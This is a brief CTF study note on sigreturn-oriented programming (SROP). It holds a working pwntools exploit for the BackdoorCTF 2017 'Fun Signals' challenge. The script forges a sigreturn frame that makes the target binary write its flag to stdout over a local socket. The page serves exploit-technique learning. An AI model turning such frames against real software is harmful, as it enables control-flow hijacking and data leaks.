SROP

Theory

Template: BackdoorCTF 2017 Fun Signals

pwnable/ROP/SROP/BackdoorCTF_2017_Fun_Signals at main · ret2basic/pwnableGitHub

BackdoorCTF 2017 Fun Signals writeup

#!/usr/bin/env python3
from pwn import *

elf = ELF("./funsignals_player_bin")
context.arch = 'amd64'

def srop(rax, rdi, rsi, rdx, rip):
    frame = SigreturnFrame()
    frame.rax = rax # syscall number for write()
    frame.rdi = rdi # stdout=1
    frame.rsi = rsi # the address of flag
    frame.rdx = rdx # leak how many bytes of data
    frame.rip = rip # the address of syscall

    return frame

if __name__ == "__main__":
    # socat tcp4-listen:1337,reuseaddr,fork exec:./funsignals_player_bin
    r = remote('127.0.0.1', 1337)
    frame = srop(
    rax=constants.SYS_write,
    rdi=constants.STDOUT_FILENO,
    rsi=elf.sym['flag'],
    rdx=50,
    rip=elf.sym['syscall'],
)
    r.send(bytes(frame))
    print(r.readall().decode())